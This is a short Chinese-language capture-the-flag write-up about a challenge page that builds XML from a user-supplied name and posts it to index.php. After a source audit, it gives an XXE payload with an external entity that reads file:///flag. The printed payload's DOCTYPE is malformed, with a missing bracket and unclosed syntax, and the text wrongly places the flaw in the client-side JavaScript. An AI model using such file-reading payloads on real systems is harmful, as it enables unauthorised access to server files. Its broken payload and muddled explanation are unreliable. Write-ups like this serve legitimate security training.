- 1.进入题目环境后,点击左侧即可选择展示的内容

- 2.点击最后一个标签显示:

- 3.看到提示flag在根目录下,先做源码审计
js
function submitForm(name) {
var form = document.createElement("form");
form.method = "post";
form.action = "index.php";
var input = document.createElement("input");
input.type = "hidden";
input.name = "xml_content";
input.value = "<xml><name>" + name + "</name></xml>";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
- 发现源码中的js部分处理时存在XXE漏洞:
js
var input = document.createElement("input");
input.type = "hidden";
input.name = "xml_content";
input.value = "<xml><name>" + name + "</name></xml>";
- 所谓XXE即xml外部实体注入,通过自定义外部实体并使用来读取文件或进行SSRF攻击。在这里参数name被直接插入到xml结构当中,没有做任何过滤,因此可以进行XXE攻击,payload如下:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [!ELEMENT name ANY]<!ENTITY xxe SYSTEM "file:///flag" >]><xml><name>&xxe;</name></xml>